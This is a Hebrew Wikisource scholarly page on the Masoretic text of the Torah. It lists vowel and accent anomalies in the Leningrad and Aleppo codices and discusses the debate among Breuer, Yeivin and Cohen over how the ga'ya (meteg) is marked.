#[[דברים כא/טעמים#כא יג|דברים כא,יג]] (ל=וְהֵסִ֩ירָה֩): טעם כפול בכתב־היד
#[[דברים כא/טעמים#כא יח|דברים כא,יח]] (ל!=וְיסְּר֣וּ): חסר חיריק באות יו&quot;ד
#[[דברים כב/טעמים#כב יח|דברים כב,יח]] (ל=וְלָֽקְח֛וּ): געיה ובתיר (במקום מרכא בתיבת תביר)
#[[דברים כב/טעמים#כב יט|דברים כב,יט]] (ל!=לְשַּׁלְּחָ֖הּ): שי&quot;ן דגושה
#[[דברים כב/טעמים#כב כט|דברים כב,כט]] (ל!=שַׁלְּחָ֖הֿ): סימן רפה באות ה&quot;א (במקום מפיק)
#[[דברים כג/טעמים#כג יב|דברים כג,יב]] (ל!=הַֽמַּחֲנֶה): חסר סילוק
#[[דברים כג/טעמים#כג יג|דברים כג,יג]] (ל=שָׁ֖מָּה): אין דגש באות שי&quot;ן
#[[דברים כג/טעמים#כג יח|דברים כג,יח]] (ל!=יִשְׂרָאֵל): חסר סילוק
#[[דברים כד/טעמים#כד י|דברים כד,י]] (ל!=בְרֵֽעֲךָ): חסר טעם הטפחא
#[[דברים כד/טעמים#כד טז|דברים כד,טז]] (ל!=אִ֥יש): חסרה נקודת שי&quot;ן ימנית
#[[דברים כה/טעמים#כה יח|דברים כה,יח]] (ל!=אַֽחַרֶ֔יךָ): חסרות נקודות החטף באות חי&quot;ת
#[[דברים כה/טעמים#כה יא|דברים כה,יא]] (ל?!=וִקָֽרְבָה֙): חסרה נקודה שנייה לשווא באות וי&quot;ו?
#[[דברים כז/טעמים#כז יד|דברים כז,יד]] (ל?=וְאָֽמְר֛וּ): געיה ותביר (במקום מרכא בתיבת תביר)?
#[[דברים כח/טעמים#כח א|דברים כח,א]] (ל?!=תִּשְׁמַּע֙): מ&quot;ם דגושה?
#[[דברים כח/טעמים#כח יא|דברים כח,יא]] (ל!=בְהַמְתְּךָ֖): פתח באות ה&quot;א
#[[דברים כט/טעמים#כט כה|דברים כט,כה]] (א=וַיִּֽשְׁתַּחֲוּ֖וּ): נקודה בוי&quot;ו עיצורית

ב. מתיגת הזקף
#[[דברים י/טעמים#י ב|דברים י,ב]] (ל=אֶת־הַדְּבָרִ֔ים): אין מתיגה
#[[דברים יב/טעמים#יב א|דברים יב,א]] (ל=כָּל־הַיָּמִ֔ים): אין מתיגה
#[[דברים יג/טעמים#יג יב|דברים יג,יב]] (ל=וְכָל־יִשְׂרָאֵ֔ל): אין מתיגה
#[[דברים יז/טעמים#יז ח|דברים יז,ח]] (ל=אֶל־הַמָּק֔וֹם): אין מתיגה
#[[דברים יז/טעמים#יז ט|דברים יז,ט]] (ל=וְאֶל־הַשֹּׁפֵ֔ט): אין מתיגה

ג. הניקוד בתוך הכתיב
#[[דברים כב/טעמים#כב טז|דברים כב,טז]] (ל-כתיב!=הַֽנַּעַרָ֖): חסרות נקודות החטף באות עי&quot;ן
#[[דברים כח/טעמים#כח כז|דברים כח,כז]] (א-כתיב!=וּבַעְפֹלִ֔ים): אין דגש באות עי&quot;ן, כך שחסר דגש באות טי&quot;ת בקרי &quot;וּבַטְחֹרִ֔ים&quot;
#[[דברים כח/טעמים#כח ל|דברים כח,ל]] (א-כתיב!=יִשְׁגָלֶ֔נָּה): אין דגש באות גימ&quot;ל, כך שחסר דגש באות כ&quot;ף בקרי &quot;יִשְׁכָבֶ֔נָּה&quot;
#[[דברים כט/טעמים#כט כב|דברים כט,כב]] (א=וּצְבֹיִי֔ם): מקום החיריק לעומת הטעם (אין הערת כתיב)

==מסורת הקוראים בתורה: חטפים באותיות לא גרוניות==

להלן רשימה של '''חטפים באותיות לא גרוניות בתורה''' בכתי&quot;ל או בכתר ארם צובה. חטפים אלה באים להורות על '''הנעת השווא''', ובמקומם הוספנו במהדורתנו סימן מיוחד מעל האות השווּאה (להסבר מפורט ראו ב'''[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#חטפים באותיות לא גרוניות|פרק השני]]''' של המבוא למהדורתנו). לרשימה של החטפים בספרי הנביאים וכתובים ראו '''[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה#מסורת הקוראים בנ&quot;ך: חטפים באותיות לא גרוניות|כאן]]'''.

{{מ:טעמי המקרא|12}}
{{עוגן בשורה|חטפים באותיות לא-גרוניות בבראשית}}'''[[מקרא על פי המסורה/תורה#ספר בראשית|ספר בראשית]]''' (33 פריטים): [[בראשית א/טעמים#א יח|א,יח]] (א[ס],ל=וּֽלֲהַבְדִּ֔יל); [[בראשית ב/טעמים#ב יב|א,יב]] (א[ס],ל=וּֽזֲהַ֛ב); [[בראשית ב/טעמים#ב כג|א,כג]] (ל=לֻֽקֳחָה־זֹּֽאת [{{קו תחתי|חטף קמץ}}]); [[בראשית ג/טעמים#ג יז|ג,יז]] (א[ס],ל=תֹּֽאכֲלֶ֔נָּה); [[בראשית י/טעמים#י ג|י,ג]] (ל=אַשְׁכֲּנַ֥ז); [[בראשית יב/טעמים#יב ג|יב,ג]] (ל=וַאֲבָֽרֲכָה֙); [[בראשית יח/טעמים#יח כא|יח,כא]] (א[ס],ל=אֵֽרֲדָה־נָּ֣א); [[בראשית כב/טעמים#כב יח|כב,יח]] (ל=וְהִתְבָּרֲכ֣וּ); [[בראשית כד/טעמים#כד ס|כד,ס]] (ל=וַיְבָרֲכ֤וּ); [[בראשית כה/טעמים#כה כב|כה,כב]] (ל=וַיִּתְרֹֽצֲצ֤וּ); [[בראשית כו/טעמים#כו ד|כו,ד]] (ל=וְהִתְבָּרֲכ֣וּ); [[בראשית כו/טעמים#כו יב|כו,יב]] (ל=וַֽיְבָרֲכֵ֖הוּ); [[בראשית כז/טעמים#כז יט|כז,יט]] (ל=תְּבָרֲכַ֥נִּי); [[בראשית כז/טעמים#כז כז|כז,כז]] (ל=וַֽיְבָרֲכֵ֑הוּ); [[בראשית כז/טעמים#כז כז|כז,כז]] (ל=בֵּרֲכ֖וֹ); [[בראשית כז/טעמים#כז כט|כז,כט]] (ל=וּֽמְבָרֲכֶ֖יךָ); [[בראשית כז/טעמים#כז לא|כז,לא]] (ל=תְּבָרֲכַ֥נִּי); [[בראשית כז/טעמים#כז לג|כז,לג]] (ל=וָאֲבָרֲכֵ֑הוּ); [[בראשית כז/טעמים#כז לד|כז,לד]] (ל=בָּרֲכֵ֥נִי); [[בראשית כז/טעמים#כז לח|כז,לח]] (א[ס]=הַֽבֲרָכָ֨ה); [[בראשית כז/טעמים#כז לח|כז,לח]] (ל=בָּרֲכֵ֥נִי); [[בראשית כז/טעמים#כז מא|כז,מא]] (ל=בֵּרֲכ֖וֹ); [[בראשית כח/טעמים#כח ו|כח,ו]] (א[ס],ל=בְּבָרֲכ֣וֹ); [[בראשית כח/טעמים#כח יד|כח,יד]] (ל=וְנִבְרֲכ֥וּ); [[בראשית כט/טעמים#כט ג|כט,ג]] (א[ס],ל=וְגָלֲל֤וּ); [[בראשית כט/טעמים#כט ח|כט,ח]] (ל=וְגָֽלֲלוּ֙); [[בראשית ל/טעמים#ל לח|ל,לח]] (ל=בָּרֳהָטִ֖ים [{{קו תחתי|חטף קמץ}}]); [[בראשית ל/טעמים#ל לח|ל,לח]] (א[ס],ל=בְּשִֽׁקֲת֣וֹת); [[בראשית ל/טעמים#ל מא|ל,מא]] (ל=בָּרֳהָטִ֑ים [{{קו תחתי|חטף קמץ}}]); [[בראשית לח/טעמים#לח יב|לח,יב]] (ל=עַל־גֹּֽזֲזֵ֤י); [[בראשית מח/טעמים#מח ט|מח,ט]] (ל=וַאֲבָרֲכֵֽם); [[בראשית מח/טעמים#מח כ|מח,כ]] (ל=וַיְבָ֨רֲכֵ֜ם); [[בראשית מט/טעמים#מט כג|מט,כג]] (ל=וַֽיְמָרֲרֻ֖הוּ).

{{עוגן בשורה|חטפים באותיות לא-גרוניות בשמות}}'''[[מקרא על פי המסורה/תורה#ספר שמות|ספר שמות]]''' (16 פריטים): [[שמות ג/טעמים#ג יח|ג,יח]] (ל=נֵֽלֲכָה־נָּ֞א); [[שמות ד/טעמים#ד יח|ד,יח]] (ל=אֵ֣לֲכָה); [[שמות ה/טעמים#ה ג|ה,ג]] (ל=נֵ֣לֲכָה); [[שמות ז/טעמים#ז כז|ז,כז]] (א[ס]=בַּֽצֲפַרְדְּעִֽים); [[שמות ז/טעמים#ז כט|ז,כט]] (א[ס]=הַֽצֲפַרְדְּעִֽים); [[שמות ח/טעמים#ח א|ח,א]] (א[ס]=אֶת־הַֽצֲפַרְדְּעִ֖ים); [[שמות ח/טעמים#ח ג|ח,ג]] (א[ס]=אֶת־הַֽצֲפַרְדְּעִ֖ים); [[שמות ח/טעמים#ח ד|ח,ד]] (א[ס]=הַֽצֲפַרְדְּעִ֔ים); [[שמות ח/טעמים#ח ה|ח,ה]] (א[ס],ל=הַֽצֲפַרְדְּעִ֔ים); [[שמות ח/טעמים#ח ז|ח,ז]] (א[ס]=הַֽצֲפַרְדְּעִ֗ים); [[שמות ח/טעמים#ח ח|ח,ח]] (א[ס]=הַֽצֲפַרְדְּעִ֖ים); [[שמות ח/טעמים#ח ט|ח,ט]] (א[ס]=הַֽצֲפַרְדְּעִ֔ים); [[שמות ח/טעמים#ח יא|ח,יא]] (א[ס]=הָֽרֲוָחָ֔ה); [[שמות טו/טעמים#טו י|טו,י]] (ל=צָֽלֲלוּ֙); [[שמות כג/טעמים#כג כט|כג,כט]] (א[ס]=אֲגָרֲשֶׁ֛נּוּ); [[שמות כג/טעמים#כג ל|כג,ל]] (א[ס]=אֲגָרֲשֶׁ֖נּוּ).

{{עוגן בשורה|חטפים באותיות לא-גרוניות בויקרא}}'''[[מקרא על פי המסורה/תורה#ספר ויקרא|ספר ויקרא]]''' (4 פריטים): [[ויקרא ו/טעמים#ו יא|ו,יא]] (ל=יֹֽאכֲלֶ֔נָּה); [[ויקרא ו/טעמים#ו יט|ו,יט]] (ל=יֹאכֲלֶ֑נָּה); [[ויקרא ט/טעמים#ט כג|ט,כג]] (ל=וַֽיְבָרֲכ֖וּ); [[ויקרא י/טעמים#י י|י,י]] (ל=וּֽלֲהַבְדִּ֔יל).

{{עוגן בשורה|חטפים באותיות לא-גרוניות בבמדבר}}'''[[מקרא על פי המסורה/תורה#ספר במדבר|ספר במדבר]]''' (18 פריטים): [[במדבר ג/טעמים#ג כז|ג,כז]] (א[ס]=הַקֳּהָתִֽי [{{קו תחתי|חטף קמץ}}]); [[במדבר ד/טעמים#ד ז|ד,ז]] (א[ס]=אֶת־הַקֳּעָרֹ֤ת [{{קו תחתי|חטף קמץ}}]); [[במדבר ה/טעמים#ה יח|ה,יח]] (ל=הַמְאָֽרֲרִֽים); [[במדבר ה/טעמים#ה יט|ה,יט]] (ל=הַֽמְאָרֲרִ֖ים); [[במדבר ה/טעמים#ה כד|ה,כד]] (ל=הַמְאָֽרֲרִ֑ים [1]); [[במדבר ה/טעמים#ה כד|ה,כד]] (ל=הַֽמְאָרֲרִ֖ים [2]); [[במדבר ה/טעמים#ה כז|ה,כז]] (ל=הַמְאָֽרֲרִים֙); [[במדבר ו/טעמים#ו כג|ו,כג]] (ל=תְבָרֲכ֖וּ); [[במדבר ו/טעמים#ו כז|ו,כז]] (ל=אֲבָרֲכֵֽם); [[במדבר טז/טעמים#טז לב|טז,לב]] (ל=כׇּל־הָרֲכֽוּשׁ); [[במדבר יח/טעמים#יח י|יח,י]] (ל=תֹּאכֲלֶ֑נּוּ); [[במדבר יח/טעמים#יח יג|יח,יג]] (ל=יֹאכֲלֶֽנּוּ); [[במדבר כג/טעמים#כג יח|כג,יח]] (ל=וּֽשֲׁמָ֔ע); [[במדבר כג/טעמים#כג כה|כג,כה]] (ל=תְבָרֲכֶֽנּוּ); [[במדבר כד/טעמים#כד ט|כד,ט]] (ל=מְבָרֲכֶ֣יךָ); [[במדבר כה/טעמים#כה יח|כה,יח]] (א[ס]=כִּ֣י צֹרֲרִ֥ים); [[במדבר לב/טעמים#לב לה|לב,לה]] (ל=וְיָגְבֳּהָֽה [{{קו תחתי|חטף קמץ}}]); [[במדבר לג/טעמים#לג נה|לג,נה]] (ל=וְצָרֲר֣וּ).

{{עוגן בשורה|חטפים באותיות לא-גרוניות בדברים}}'''[[מקרא על פי המסורה/תורה#ספר דברים|ספר דברים]]''' (9 פריטים): [[דברים ה/טעמים#ה כג|ה,כג]] (ל=וּֽשֲׁמָ֔ע); [[דברים ח/טעמים#ח ב|ח,ב]] (ל=הֹלִֽיכֲךָ֜); [[דברים ח/טעמים#ח טו|ח,טו]] (ל=הַמּוֹלִ֨יכֲךָ֜); [[דברים טו/טעמים#טו כ|טו,כ]] (ל=תֹאכֲלֶ֙נּוּ֙); [[דברים טו/טעמים#טו כב|טו,כב]] (ל=תֹּאכֲלֶ֑נּוּ); [[דברים כד/טעמים#כד יג|כד,יג]] (ל=וּבֵֽרֲכֶ֑ךָּ); [[דברים כח/טעמים#כח לט|כח,לט]] (א=תֹאכֲלֶ֖נּוּ); [[דברים כט/טעמים#כט ז|כט,ז]] (א=הַֽמֲנַשִּֽׁי); [[דברים לב/טעמים#לב י|לב,י]] (א=יְסֹבֲבֶ֙נְהוּ֙ יְב֣וֹנֲנֵ֔הוּ); [[דברים לב/טעמים#לב יח|לב,יח]] (א=מְחֹלֲלֶֽךָ); [[דברים לב/טעמים#לב לו|לב,לו]] (א=כִּֽי־אָ֣זֲלַת).
{{מ:טעמי המקרא-סוף}}

==מסורת הקוראים בתורה: סימון הגעיה (המתג)==

===הגדרות יסוד ושיטת ברויאר===

הַגַּעְיָה (שנקרא גם &quot;מאריך&quot; או &quot;מעמיד&quot; או &quot;מתג&quot;), קו מאונך קטן מתחת לאות, הנכתב בדרך כלל בשמאלו של הניקוד – הוא הסימן היחיד שאי-אפשר לשחזר אותו בוודאות כמעט-מוחלטת בכל מקום בחלקים החסרים בכתר ארם צובה. קושי זה שייך בעיקר בגעיה הקלה,{{הערה|המצב שונה בסוגים אחרים של געיות, כגון הגעיות הכבדות בהברות סגורות, שבשבילן יש כללי מסורה מובהקים וסימונן בכתבי־היד הטברנים כמעט זהה. לגבי סימון הגעיות בכתי&quot;ל סיכם ייבין: &quot;בגעיות דומה הוא ל'''א''' בכעט בשלמות בכל סוגי הגעיה הכבדה וגעית־שוא, ועל פי רוב גם בגעיה לתיקון הקריאה, אך מרבה הוא מ'''א''' בסימון הגעיות הקלות לסוגיהן&quot; (נו.3, עמ' 358).}} שלפי הכללים מנוקדת בתנועה פתוחה גדולה או קטנה שאינה סמוכה לטעם.{{הערה|ראו ייבין, טו.1 עמ' 138; כהן, פרקי מבוא מלכים, הערה 7.}}

על פי שיטת הרב ברויאר, הגעיה באה &quot;לציין נחץ משני הנוסף על ההטעמה העיקרית. נחץ הוא הטעמה שאיננה מבוצעת על ידי נגינה, להבדיל מן ההטעמה המסומנת בטעמים, המבוצעת על ידי נגינה... בעל הקריאה צריך להטעים את ההברה הזו בהטעמה משנית, וההטעמה העיקרית במילה היא בהברה המוטעמת.&quot;{{הערה|מתוך &quot;הנחיות לקורא&quot; בראש תיקון קוראים חורב בשיטת ברויאר, עמ' יז; הדברים מבוססים על מה שכתב ברויאר ב'''טעמי המקרא''', עמ' 173.}} ואולם ישראל ייבין הציע תיאור רחב ועשיר יותר לתפקידן של כלל הגעיות, והדגיש את מקומן במערכת הנגינה של הטעמים:

:בדרך כלל מציאותה של געיה מן הגעיות בתיבה קשורה בשני סוגי גורמים: א. התנאים '''המוסיקליים''' של התיבה, היינו: באיזה טעם התיבה מוטעמת, מן המשרתים או מן המפסיקים, מה הם הטעמים שלפניה ושלאחריה; ב. התנאים '''הפונטיים''' של התיבה, היינו: אם יש בה עיצורים חלשים מאיזו בחינה שהיא, כגון עיצורים גרוניים, עיצורים דומים, וכיוצא באלו, וכן אם יש תנאים פוניטיים כאלה, בגללם יש לחשוש שעיצור כלשהוא עלול לא ליהגות כראוי. פעולתם של שני גורמים אלה מותנים במבנה התיבה להברותיה, אם הן פתוחות או סגורות, ומה מרחקן מן ההברה המוטעמת.

:לפי זה נוכל לקבוע: אם תיבה באה בתנאים מוסיקליים מסוימים והיא בעלת מבנה מתאים – עשויה לבוא בה געיה. געיה זו תפקידה '''מוסיקלי''', וכך הן רוב הגעיות.

:ואם תיבה יש בה עיצורים מסויימים ויש חשש שלא ייהגו כראוי, והתיבה בעלת מבנה מתאים – עשויה לבוא בה געיה. געיה זו תפקידה '''פוניטי''', והן מיעוט הגעיות.

:יש כמה סוגים, שבהם אין לנו ודאוּת בטיב הגעיה אם פוניטית היא אם מוסיקלית... אמנם, ידיעתה או אי־ידיעתה של מהות הגעיה פירושה אך ורק ידיעה או אי־ידיעה של סיבת הגעיה, אם הוטעמה געיה זו מסיבה מוסיקלית או פוניטית. אין פירושה, כמובן, ידיעה של מהות הגעיה גופה; שכן אין לנו כל יסוד להניח שגעיה מוסיקלית וגעיה פוניטית שונות זו מזו במהותן או בדרך השמעתן. ההבחנה בין הגעיות משמעותה אך ורק בהחנה במקורן ובסיבתן.{{הערה|ייבין, יא.5, עמ' 92-93.}}

הרב ברויאר לא מצא צורך לשחזר את הגעיות הקלות בכתר, כי אין לדעתו שיטה אחת מובהקת לסימון געיות קלות שאותה חייבים לבצע במלואה ע&quot;פ המסורה: אין חובה לסמן געיה קלה בכל תיבה שראויה לכך, וגם אם נטייתו של הסופר היא לסמן אותן בתיבות בעלות מבנה מסויים – תמיד יהיו גם חריגים, בגלל שלא מדובר על חובה אלא על נטייה. ואלה דבריו בהרחבה מתוך מאמר שנכתב בעקבות הוצאתו של הכרך הראשון למקראות גדולות הכתר:

:לאמיתו של דבר, אין כל מחלוקת בין המהדירים של שתי המהדורות האלה, אלא מר אמר חדא ומר אחר חדא ולא פליגי. פרופ' כהן ביקש למסור לציבור את נוסח המקרא על פי הכתר, ואין איש יכול לשלול את הערך למסור ואת החשיבות של מפעל כגון זה, ואילו אני בקישתי למסור לציבור את נוסח המקרא, כפי שהוא ראוי להיות נכתב ונקרא – הלכה למעשה; וגם זו היא משימה שאי אפשר לשלול את חשיבותה. אולם הבדל זה שבין מגמות שתי המהדורות גורר אחריו הבדל של מהות. פרופ' כהן העתיק את נוסח בן-אשר, משום שבן-אשר היה גדול המסרנים והנקדנים והמגיהים, שלא קם כמוהו לפניו ולאחריו. משום כך היה רשאי להעתיק את נוסח הכתר כמות שהוא. ואילו אני העתקתי את נוסח בן-אשר, משום שרק הנוסח הזה ראוי להיות נכתב ונקרא הלכה למעשה; שהרי כל ישראל כבר קיבלו על עצמם את נוסח הנמקרא על פי שיטת בן-אשר. משום כך יכולתי להעתיק את נוסח הכתר רק בתחום הכתיב וכן גם ברוב העניינים הנוגעים לניקוד ולטעמים. כנגד זה לא יכולתי להעתיק מן הכתר את נוסח הגעיות הקלות וגעיות 'היה', 'חיה'. שכן בתחום זה לא היתה לבן אשר שיטה עקיבה וחד משמעית, אלא 'נטיות' בלבד... אכן יש בכתר רבבות תיבות, שנוסח הגעיות הקלות שבהן איננו מביע את דעתו המחייבת של בן אשר; ובן אשר עצמו היה מודה, שמי שסוטה ממנהגו באותן תיבות אינו משתבש, ולא עוד, אלא הוא עצמו היה משנה ממנהגו בתיבות אלה, אילו ניקד טופס נוסף של המקרא. משום כך &quot;שיטה&quot; זו של בן-אשר – שלאמיתו של דבר איננה בגדר שיטה כלל – איננה כדאי לדחות מפניה את השיטה הברורה והיציבה של כל מהדורות המקרא, המקובלות בישראל זה עידן ועידנים בכל אתר ואתר. לא על שיטה זו חלה קבלת כל ישראל לנהוג כדעת בן אשר; שכן ישראל קיבלו על עצמם את שיטת בן-אשר במקום שההן שלו הן, והלאו שלו לאו – ולא במקום שהן ולאו רפיא בידיה, ושניהם כאחד טובים.

:וראוי לציין כאן עוד: הכתר לא הגיע לידינו בשלמות, אלא חסרים בו ספרים אחדים, ביניהם כמעט כל התורה. בספרים אלה אין המהדיר יכול להעתיק את נוסח בן-אשר מן הכתר, אלא הוא חייב לשחזר את הנוסח הזה, כפי שהוא עולה מאליו מתוך המסורה ומתוך כתבי היד הקרובים לכתר. אולם דבר זה הוא אפשרי רק באותם התחומים, שבהם היתה לבן-אשר דעה ברורה ומחייבת – לכאן או לכאן. כנגד זה אי אפשר לשחזר את נוסח בן-אשר בתחום הגעיות הקלות; שהרי בן-אשר בעצמו לא היה מסוגל לשחזר את הנוסח שלו בתחום זה – אילו אבד מידיו הכתר, כדרך שהוא אבד מידינו. משום כך זו תהיה דרכו של המהדיר שלנו בספרים, שהכתר לא נשתמר בה: הוא יעתיק את נוסח הגעיות הקלות מתוך כתב-יד לנינגרד, אך יבצע בו שינויים אחדים כדי להתאימו במידת האפשר לשיטת בן-אשר. אולם נוסח הגעיות הקלות של כתב יד לנינגרד הוא מחוסר כל ערך, ואינו זהה כלל עם נוסח הגעיות של בן-אשר. ודבר זה לא ישתנה בהרבה גם אחרי שייעשו בו השינויים המוצעים. ואילו קבלתי גם אני את הנוסח הזה, הייתי מורה בזה לכל 'בעלי הקריאה' בבתי כנסיות ובבתי מדרשות: עליהם לקרוא בציבור את נוסח הגעיות הקלות, כפי שעלה במקרה על דעת נקדנו של כתב יד לנינגרד – שמומחיותו בתחום זה איננה דווקא מן המפורסמות... ורק הנוסח הזה, שלאמיתו של דבר איננו אלא נוסח כלאיים של סופר קדמון וחוקר בן זמננו – רק הוא הנוסח הנכון, המתאים למסורה. וכדאי הוא הנוסח הזה לדחות מפניו את הנוסח הברור והיציב, שכל ישראל כבר קבלו על עצמם זה דורות רבים. אני לא הייתי מסוגל להורות כך לציבור, וספק בעיניי אם פרופ' כהן עצמו היה מסוגל לכך.{{הערה|מרדכי ברויאר, &quot;מהדורה חדשה של מקראות גדולות&quot;, '''עמודים''' מא,ב (תשנ&quot;ג), עמ' 72-77. המובאה כאן מתוך עמ' 74-75, בדיוק באותו היקף שכבר צוטט ע&quot;י מנחם כהן בראש פרקי המבוא למלכים (עמ' *1-*2). לאחר הציטוט העיר כהן: &quot;עד כאן לשונו של הרב ברויאר, והיא אמנם משקפת בצורה תמציתית את עיקרי תפישתו בנושא שלפנינו, כפי שהביעה במקומות שונים.&quot;}}

לכן העתיק הרב ברויאר את הגעיות בכתר כפי שהן (ובמקומות שהכתר חסר העתיק מכתי&quot;ל), ואחר כך הוסיף עליהן געיות קלות נוספות בעקביוּת בכל תיבה שראויה לכך (וכמו שמקובל בדפוסים). את התוספות ציין על ידי קו קצר במיוחד, כדי להבחין בינן לבין הגעיות שמקורן בכתבי־היד עצמם. מטרתה של הוספת הגעיות בכל תיבה הראויה לכך בידי הרב ברויאר הייתה כמובן לעזור לקורא לבצע &quot;נחץ משני&quot; כראוי ובעקביות.

===הביקורת על שיטת ברויאר===

ב&quot;מקראות גדולות הכתר&quot; מתחו ביקורת מפורטת על שיטתו של הרב ברויאר בעניין הגעיות. בפרקי המבוא שהקדיש לנושא זה בסוף כרך מלכים, ביקש מנחם כהן להוכיח חמש נקודות חשובות המכוונות מול יסודות שיטתו של הרב ברויאר, וכך סיכם אותן:

:א. שהגעיות הקלות ב'כתר' מסומנות מתוך תפישה שיטתית של בן-אשר, ובשום פנים לא היה בן-אשר מסכים לשיטת הסימון הנוהגות בדפוסי ימינו.
:ב. שלא זו בלבד שאין ריבוי הגעיות דהאידנא הולם את שיטתו של בן-אשר, אלא שהוא זר גם למעגל המסירה של 'נוסח המסורה' בכללותו, כפי שעולה מכתבי היד שנכתבו במעגל זה במשך מאות שנות מסירה בימי הביניים.
:ג. ששיטת ריבוי הגעיות נולדה ונתקיימה במשך מאות שנים במרחב מחיה של נוסחים הרחוקים מ'נוסח המסורה' גם מבחינות אחרות: בנוסח האותיות ובנוסח הניקוד והטעמים.
:ד. שהרכבת שיטת ריבוי הגעיות על 'נוסח המסורה' היא הרכבה מלאכותית, שנעשתה לראשונה בעידן הדפוס ע&quot;י יעקב בן חיים, מהדיר מהדורת היסוד הראשונה של 'מקראות גדולות', מתוך אי-הכרה מספקת של הנושא.
:ה. שבעידן הדפוסים עברה השיטה שינויים בעניינים מהותיים ע&quot;י מהדירים בעלי השפעה בתקופות שונות, ואין כל הצדקה להגדיר את סימון הגעיות שבדפוסים &quot;השיטה הברורה והיציבה של כל מהדורות המקרא המקובלות בישראל זה עידן ועידנים&quot; כלשונו של הרב ברויאר.

הניתוח המרשים שעשה כהן אח&quot;כ (על בסיס דגם של ממצאי הגעיות בחלק מספר מלכים בכתר) מאושש את חמשת הטיעונים שלו, ולגבי ההוכחות שלו לנקודות ב'-ד' אין מה להוסיף, כי ברור שמדובר על עובדות היסטוריות. אמנם הנקודות הרלוונטיות ביותר בשביל מהדורת מקרא הן דווקא הראשונה והחמישית. ולמרות שכהן אכן הצליח להוכיח את נקודות א' וה' כפי שהוא ניסחן, אין בניסוחן כדי לעשות צדק מלא בנושא שלנו, וניתן להסתייג בכל אחת מהן במידה ניכרת.

בנקודה הראשונה כתב כהן: &quot;שהגעיות הקלות ב'כתר' מסומנות מתוך תפישה שיטתית של בן-אשר, ובשום פנים לא היה בן-אשר מסכים לשיטת הסימון הנוהגות בדפוסי ימינו&quot;. לגבי החלק האחרון של המשפט ברור לגמרי שכהן צודק: בן-אשר עצמו לא היה מסמן געיות כמו דפוסי ימינו. ולגבי החלק הראשון של המשפט, הביא כהן ממצאים מרשימים על סימון הגעיות בכתר כדי להוכיח שבן-אשר אכן פעל לפי שיטה.

אמנם לגבי &quot;השיטה&quot; שלפיה פעל בן-אשר לפי כהן, כדי לגלות את נקודת התורפה שבקביעה זו יש להצביע קודם כל על העובדה שביקורתו של כהן התמקדה על שיטת הרב ברויאר באופן ישיר, ואילו רק בהערה אחת הזכיר כהן שגם ישראל ייבין אחז באותה עמדה זו בדיוק: &quot;הרב ברויאר איננו בודד בהנחה זו. למרבה הפליאה נוקט בה גם פרופ' ישראל ייבין (ראה ייבין, כא&quot;צ, ע' 139). ייבין עצמו בדק את כל הממצא ב'כתר' (ראה שם, ע' 140) וספר בכל המקרא רק כ-35 תיבות המסומנות בגעיה קלה בטעמים מחברים, מתוך אלפי תיבות בטעמים כאלה במבנה של געיה קלה. תמוה הדבר, כיצד אפשר ליישב ממצא כזה עם ההנחה בדבר חוסר שיטתיות&quot;.{{הערה|כהן, שם, הערה 8.}}

כל &quot;פליאה&quot; ו&quot;תמיהה&quot; אומרת דרשני, ובמיוחד כשמדובר בספר כמו זה של ייבין, שבו הקדיש שני חלקים מלאים ומפורטים (מתוך חמישה חלקים בספר כולו) הכוללים ניתוח קפדני של אלפי נתונים לגבי תופעת הגעיות בכתר (חלק שני על הגעיה בכ&quot;א הספרים, וחלק רביעי על הגעיה בספרי אמ&quot;ת). ולכן ראוי להביא את דברי ההסבר הכלליים של ייבין לשיטתו, שנכתבו מיד לאחר שהתייחס אל כללי הגעיה הקלה שנוסחו בדורות האחרונים (ובמיוחד ע&quot;י יצחק בער):

:מכל זה מסתבר, שאין להניח קיום שיטה מיוחדת של ב&quot;א בהטעמת הגעיה הקלה. רק זה בלבד נכון: בעוד שבער דורש לסמן את הגעיה הקלה בכל מקום לפי כללים מסוימים, כתבי־היד העתיקים, ו''א'' והקרובים לו בכללם, מסמנים אותה אמנם לפי אותם כללים, אבל לא בכל מקום, אלא לפרקים בלבד, ומידת סימונה שונה בכתבי־היד השונים.

:אם נבדוק את שיטת הטעמת הגעיה הקלה ב''א'' נראה, מצד אחד, חוסר כל עקיבות, כלומר: נוכל למצוא עשרות דוגמות זהות במבנן ובהטעמתן, שבאחת מהן יש געיה ובחברתה אין. מצד אחר, יש סדירוּת מסוימת בהטעמה זו, שכן יש צורות שבהן הנטייה לגעיה מרובה, ואחרות שבהן היא מועטת; יש טעמים שבהם הנטייה לגעיה מרובה, ואחרים שבהם היא מועטת. אפשר להסביר שיטה זו בכך, שההשהיה אחר השמעת ההברה הראויה לגעיה קלה היתה כנראה בדרך כלל קצרה ביותר, ומשום כך לא הקפידו המנקדים לסמנה; בצורות מסוימות או בטעמים מסוימים היתה ארוכה יותר, ושם הקפידו יותר לסמנה; אך כנראה שבשום מקום לא היתה ארוכה עד כדי כך, שיראו המנקדים '''חובה''' לעצמם לסמנה (כמו בסוגי הגעיות הכבדות), ומשום כך היה סימונה ענין של '''רשות'''...

:ההבדל בין שיטת סימון הגעיות הקלות בכתבי־היד העיתיקים ו''א'' בכללם ובין שיטתו של בער אינו אפוא הבדל בעקרון אלא הבדל בדרגה, ושיטת בער אינה אלא התפתחות וסימון מלא של השיטה הנוהגת בכתבי־היד העתיקים.

:אך הדברים אמורים בכללים: בתיבות ובסוגי ההברות הראויות לגעיה קלה; בפרטים יש דברים בשיטת בער שאינם נוהגים ב''א'' ובכתבי־היד הקרובים. בייחוד כך הדבר בתיבות ראויות לשתי געיות. ב''א'' והקרובים לו נוהגת בדרך כלל שיטת ההעדפה של געיה אחת מן השתיים, ואילו בער קובע שיש לסמן את שתיהן.{{הערה|ייבין, טו.5,7, עמ' 140-141.}}

אם כן, ייבין כבר התייחס כבר מזמן לאותה תופעה בדיוק שהציג כהן בבהירות רבה בפרקי המבוא שכתב על הגעיות, דהיינו לתלוּת הסטטיסטית החזקה הקיימת בין סימון הגעיה לבין מבנֶה התיבה וטעמה. אכן יש צירופים של צורות וטעמים שבהם הנטייה לסימון געיה או לאי-סימונה חזקה מאוד, ולפעמים אפילו מתקרבת או מגיעה לעקביות גמורה. ולגבי הטעמים, ברור שהסביבה המוסיקלית משפיעה מאוד על נטייתו של הסופר, ולכן ההבדל הבולט לעין בין סימון הגעיה בטעמים מפסיקים ואי-סימונה בטעמים מחברים.

